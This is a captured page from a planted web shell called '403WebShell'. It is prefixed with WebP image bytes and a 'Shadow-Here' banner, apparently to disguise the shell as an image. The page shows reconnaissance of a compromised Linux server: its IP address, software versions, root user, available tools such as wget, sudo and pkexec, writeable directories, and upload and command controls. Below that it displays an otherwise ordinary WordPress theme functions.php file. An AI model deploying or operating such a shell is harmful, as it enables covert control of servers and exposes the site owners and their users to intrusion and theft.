RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/coppersmith/wp-content/themes/copper-smith/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/coppersmith/wp-content/themes/copper-smith//functions.php
<?php
/**
 * Functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package WordPress
 * @subpackage Twenty_Twenty_One
 * @since Twenty Twenty-One 1.0
 */

// This theme requires WordPress 5.3 or later.
if (version_compare($GLOBALS['wp_version'], '5.3', '<')) {
  require get_template_directory() . '/inc/back-compat.php';
}

if (!function_exists('twenty_twenty_one_setup')) {
  /**
   * Sets up theme defaults and registers support for various WordPress features.
   *
   * Note that this function is hooked into the after_setup_theme hook, which
   * runs before the init hook. The init hook is too late for some features, such
   * as indicating support for post thumbnails.
   *
   * @since Twenty Twenty-One 1.0
   *
   * @return void
   */
  function twenty_twenty_one_setup()
  {
    /*
     * Make theme available for translation.
     * Translations can be filed in the /languages/ directory.
     * If you're building a theme based on Twenty Twenty-One, use a find and replace
     * to change 'twentytwentyone' to the name of your theme in all the template files.
     */
    load_theme_textdomain('twentytwentyone', get_template_directory() . '/languages');

    // Add default posts and comments RSS feed links to head.
    add_theme_support('automatic-feed-links');

    /*
     * Let WordPress manage the document title.
     * This theme does not use a hard-coded <title> tag in the document head,
     * WordPress will provide it for us.
     */
    add_theme_support('title-tag');

    /**
     * Add post-formats support.
     */
    add_theme_support(
      'post-formats',
      array(
        'link',
        'aside',
        'gallery',
        'image',
        'quote',
        'status',
        'video',
        'audio',
        'chat',
      )
    );

    /*
     * Enable support for Post Thumbnails on posts and pages.
     *
     * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
     */
    add_theme_support('post-thumbnails');
    set_post_thumbnail_size(1568, 9999);

    register_nav_menus(
      array(
        'primary' => esc_html__('Primary menu', 'twentytwentyone'),
        'footer' => esc_html__('Secondary menu', 'twentytwentyone'),
      )
    );

    /*
     * Switch default core markup for search form, comment form, and comments
     * to output valid HTML5.
     */
    add_theme_support(
      'html5',
      array(
        'comment-form',
        'comment-list',
        'gallery',
        'caption',
        'style',
        'script',
        'navigation-widgets',
      )
    );

    /*
     * Add support for core custom logo.
     *
     * @link https://codex.wordpress.org/Theme_Logo
     */
    $logo_width = 300;
    $logo_height = 100;

    add_theme_support(
      'custom-logo',
      array(
        'height' => $logo_height,
        'width' => $logo_width,
        'flex-width' => true,
        'flex-height' => true,
        'unlink-homepage-logo' => true,
      )
    );

    // Add theme support for selective refresh for widgets.
    add_theme_support('customize-selective-refresh-widgets');

    // Add support for Block Styles.
    add_theme_support('wp-block-styles');

    // Add support for full and wide align images.
    add_theme_support('align-wide');

    // Add support for editor styles.
    add_theme_support('editor-styles');
    $background_color = get_theme_mod('background_color', 'D1E4DD');
    if (127 > Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex($background_color)) {
      add_theme_support('dark-editor-style');
    }

    $editor_stylesheet_path = './assets/css/style-editor.css';

    // Note, the is_IE global variable is defined by WordPress and is used
    // to detect if the current browser is internet explorer.
    global $is_IE;
    if ($is_IE) {
      $editor_stylesheet_path = './assets/css/ie-editor.css';
    }

    // Enqueue editor styles.
    add_editor_style($editor_stylesheet_path);

    // Add custom editor font sizes.
    add_theme_support(
      'editor-font-sizes',
      array(
        array(
          'name' => esc_html__('Extra small', 'twentytwentyone'),
          'shortName' => esc_html_x('XS', 'Font size', 'twentytwentyone'),
          'size' => 16,
          'slug' => 'extra-small',
        ),
        array(
          'name' => esc_html__('Small', 'twentytwentyone'),
          'shortName' => esc_html_x('S', 'Font size', 'twentytwentyone'),
          'size' => 18,
          'slug' => 'small',
        ),
        array(
          'name' => esc_html__('Normal', 'twentytwentyone'),
          'shortName' => esc_html_x('M', 'Font size', 'twentytwentyone'),
          'size' => 20,
          'slug' => 'normal',
        ),
        array(
          'name' => esc_html__('Large', 'twentytwentyone'),
          'shortName' => esc_html_x('L', 'Font size', 'twentytwentyone'),
          'size' => 24,
          'slug' => 'large',
        ),
        array(
          'name' => esc_html__('Extra large', 'twentytwentyone'),
          'shortName' => esc_html_x('XL', 'Font size', 'twentytwentyone'),
          'size' => 40,
          'slug' => 'extra-large',
        ),
        array(
          'name' => esc_html__('Huge', 'twentytwentyone'),
          'shortName' => esc_html_x('XXL', 'Font size', 'twentytwentyone'),
          'size' => 96,
          'slug' => 'huge',
        ),
        array(
          'name' => esc_html__('Gigantic', 'twentytwentyone'),
          'shortName' => esc_html_x('XXXL', 'Font size', 'twentytwentyone'),
          'size' => 144,
          'slug' => 'gigantic',
        ),
      )
    );

    // Custom background color.
    add_theme_support(
      'custom-background',
      array(
        'default-color' => 'd1e4dd',
      )
    );

    // Editor color palette.
    $black = '#000000';
    $dark_gray = '#28303D';
    $gray = '#39414D';
    $green = '#D1E4DD';
    $blue = '#D1DFE4';
    $purple = '#D1D1E4';
    $red = '#E4D1D1';
    $orange = '#E4DAD1';
    $yellow = '#EEEADD';
    $white = '#FFFFFF';

    add_theme_support(
      'editor-color-palette',
      array(
        array(
          'name' => esc_html__('Black', 'twentytwentyone'),
          'slug' => 'black',
          'color' => $black,
        ),
        array(
          'name' => esc_html__('Dark gray', 'twentytwentyone'),
          'slug' => 'dark-gray',
          'color' => $dark_gray,
        ),
        array(
          'name' => esc_html__('Gray', 'twentytwentyone'),
          'slug' => 'gray',
          'color' => $gray,
        ),
        array(
          'name' => esc_html__('Green', 'twentytwentyone'),
          'slug' => 'green',
          'color' => $green,
        ),
        array(
          'name' => esc_html__('Blue', 'twentytwentyone'),
          'slug' => 'blue',
          'color' => $blue,
        ),
        array(
          'name' => esc_html__('Purple', 'twentytwentyone'),
          'slug' => 'purple',
          'color' => $purple,
        ),
        array(
          'name' => esc_html__('Red', 'twentytwentyone'),
          'slug' => 'red',
          'color' => $red,
        ),
        array(
          'name' => esc_html__('Orange', 'twentytwentyone'),
          'slug' => 'orange',
          'color' => $orange,
        ),
        array(
          'name' => esc_html__('Yellow', 'twentytwentyone'),
          'slug' => 'yellow',
          'color' => $yellow,
        ),
        array(
          'name' => esc_html__('White', 'twentytwentyone'),
          'slug' => 'white',
          'color' => $white,
        ),
      )
    );

    add_theme_support(
      'editor-gradient-presets',
      array(
        array(
          'name' => esc_html__('Purple to yellow', 'twentytwentyone'),
          'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $yellow . ' 100%)',
          'slug' => 'purple-to-yellow',
        ),
        array(
          'name' => esc_html__('Yellow to purple', 'twentytwentyone'),
          'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $purple . ' 100%)',
          'slug' => 'yellow-to-purple',
        ),
        array(
          'name' => esc_html__('Green to yellow', 'twentytwentyone'),
          'gradient' => 'linear-gradient(160deg, ' . $green . ' 0%, ' . $yellow . ' 100%)',
          'slug' => 'green-to-yellow',
        ),
        array(
          'name' => esc_html__('Yellow to green', 'twentytwentyone'),
          'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $green . ' 100%)',
          'slug' => 'yellow-to-green',
        ),
        array(
          'name' => esc_html__('Red to yellow', 'twentytwentyone'),
          'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $yellow . ' 100%)',
          'slug' => 'red-to-yellow',
        ),
        array(
          'name' => esc_html__('Yellow to red', 'twentytwentyone'),
          'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $red . ' 100%)',
          'slug' => 'yellow-to-red',
        ),
        array(
          'name' => esc_html__('Purple to red', 'twentytwentyone'),
          'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $red . ' 100%)',
          'slug' => 'purple-to-red',
        ),
        array(
          'name' => esc_html__('Red to purple', 'twentytwentyone'),
          'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $purple . ' 100%)',
          'slug' => 'red-to-purple',
        ),
      )
    );

    /*
     * Adds starter content to highlight the theme on fresh sites.
     * This is done conditionally to avoid loading the starter content on every
     * page load, as it is a one-off operation only needed once in the customizer.
     */
    if (is_customize_preview()) {
      require get_template_directory() . '/inc/starter-content.php';
      add_theme_support('starter-content', twenty_twenty_one_get_starter_content());
    }

    // Add support for responsive embedded content.
    add_theme_support('responsive-embeds');

    // Add support for custom line height controls.
    add_theme_support('custom-line-height');

    // Add support for experimental link color control.
    add_theme_support('experimental-link-color');

    // Add support for experimental cover block spacing.
    add_theme_support('custom-spacing');

    // Add support for custom units.
    // This was removed in WordPress 5.6 but is still required to properly support WP 5.5.
    add_theme_support('custom-units');

    // Remove feed icon link from legacy RSS widget.
    add_filter('rss_widget_feed_link', '__return_false');
  }
}
add_action('after_setup_theme', 'twenty_twenty_one_setup');

/**
 * Register widget area.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 *
 * @return void
 */
function twenty_twenty_one_widgets_init()
{

  register_sidebar(
    array(
      'name' => esc_html__('Footer', 'twentytwentyone'),
      'id' => 'sidebar-1',
      'description' => esc_html__('Add widgets here to appear in your footer.', 'twentytwentyone'),
      'before_widget' => '<section id="%1$s" class="widget %2$s">',
      'after_widget' => '</section>',
      'before_title' => '<h2 class="widget-title">',
      'after_title' => '</h2>',
    )
  );
}
add_action('widgets_init', 'twenty_twenty_one_widgets_init');

/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @global int $content_width Content width.
 *
 * @return void
 */
function twenty_twenty_one_content_width()
{
  // This variable is intended to be overruled from themes.
  // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
  // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
  $GLOBALS['content_width'] = apply_filters('twenty_twenty_one_content_width', 750);
}
add_action('after_setup_theme', 'twenty_twenty_one_content_width', 0);

/**
 * Enqueue scripts and styles.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twenty_twenty_one_scripts()
{
  // Note, the is_IE global variable is defined by WordPress and is used
  // to detect if the current browser is internet explorer.
  global $is_IE, $wp_scripts;
  if ($is_IE) {
    // If IE 11 or below, use a flattened stylesheet with static values replacing CSS Variables.
    wp_enqueue_style('twenty-twenty-one-style', get_template_directory_uri() . '/assets/css/ie.css', array(), wp_get_theme()->get('Version'));
  } else {
    // If not IE, use the standard stylesheet.
    wp_enqueue_style('twenty-twenty-one-style', get_template_directory_uri() . '/style.css', array(), wp_get_theme()->get('Version'));
  }

  // RTL styles.
  wp_style_add_data('twenty-twenty-one-style', 'rtl', 'replace');

  // Print styles.
  //	wp_enqueue_style( 'twenty-twenty-one-print-style', get_template_directory_uri() . '/assets/css/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );

  // Threaded comment reply styles.
  if (is_singular() && comments_open() && get_option('thread_comments')) {
    wp_enqueue_script('comment-reply');
  }

  // Register the IE11 polyfill file.
  wp_register_script(
    'twenty-twenty-one-ie11-polyfills-asset',
    get_template_directory_uri() . '/assets/js/polyfills.js',
    array(),
    wp_get_theme()->get('Version'),
    true
  );

  // Register the IE11 polyfill loader.
  wp_register_script(
    'twenty-twenty-one-ie11-polyfills',
    null,
    array(),
    wp_get_theme()->get('Version'),
    true
  );
  wp_add_inline_script(
    'twenty-twenty-one-ie11-polyfills',
    wp_get_script_polyfill(
      $wp_scripts,
      array(
        'Element.prototype.matches && Element.prototype.closest && window.NodeList && NodeList.prototype.forEach' => 'twenty-twenty-one-ie11-polyfills-asset',
      )
    )
  );

  // Main navigation scripts.
  //	if ( has_nav_menu( 'primary' ) ) {
  //		wp_enqueue_script(
  //			'twenty-twenty-one-primary-navigation-script',
  //			get_template_directory_uri() . '/assets/js/primary-navigation.js',
  //			array( 'twenty-twenty-one-ie11-polyfills' ),
  //			wp_get_theme()->get( 'Version' ),
  //			true
  //		);
  //	}

  // Responsive embeds script.
  //	wp_enqueue_script(
  //		'twenty-twenty-one-responsive-embeds-script',
  //		get_template_directory_uri() . '/assets/js/responsive-embeds.js',
  //		array( 'twenty-twenty-one-ie11-polyfills' ),
  //		wp_get_theme()->get( 'Version' ),
  //		true
  //	);
}
add_action('wp_enqueue_scripts', 'twenty_twenty_one_scripts');

/**
 * Enqueue block editor script.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twentytwentyone_block_editor_script()
{

  wp_enqueue_script('twentytwentyone-editor', get_theme_file_uri('/assets/js/editor.js'), array('wp-blocks', 'wp-dom'), wp_get_theme()->get('Version'), true);
}

add_action('enqueue_block_editor_assets', 'twentytwentyone_block_editor_script');

/**
 * Fix skip link focus in IE11.
 *
 * This does not enqueue the script because it is tiny and because it is only for IE11,
 * thus it does not warrant having an entire dedicated blocking script being loaded.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @link https://git.io/vWdr2
 */
function twenty_twenty_one_skip_link_focus_fix()
{

  // If SCRIPT_DEBUG is defined and true, print the unminified file.
  if (defined('SCRIPT_DEBUG') && SCRIPT_DEBUG) {
    echo '<script>';
    include get_template_directory() . '/assets/js/skip-link-focus-fix.js';
    echo '</script>';
  } else {
    // The following is minified via `npx terser --compress --mangle -- assets/js/skip-link-focus-fix.js`.
    ?>
                                                    <script>
                                                      /(trident|msie)/i.test(navigator.userAgent) && document.getElementById && window.addEventListener && window
                                                        .addEventListener("hashchange", (function () {
                                                          var t, e = location.hash.substring(1);
                                                          /^[A-z0-9_-]+$/.test(e) && (t = document.getElementById(e)) && (/^(?:a|select|input|button|textarea)$/i
                                                            .test(t.tagName) || (t.tabIndex = -1), t.focus())
                                                        }), !1);
                                                    </script>
                                                    <?php
  }
}
add_action('wp_print_footer_scripts', 'twenty_twenty_one_skip_link_focus_fix');

/**
 * Enqueue non-latin language styles.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twenty_twenty_one_non_latin_languages()
{
  $custom_css = twenty_twenty_one_get_non_latin_css('front-end');

  if ($custom_css) {
    wp_add_inline_style('twenty-twenty-one-style', $custom_css);
  }
}
add_action('wp_enqueue_scripts', 'twenty_twenty_one_non_latin_languages');

// SVG Icons class.
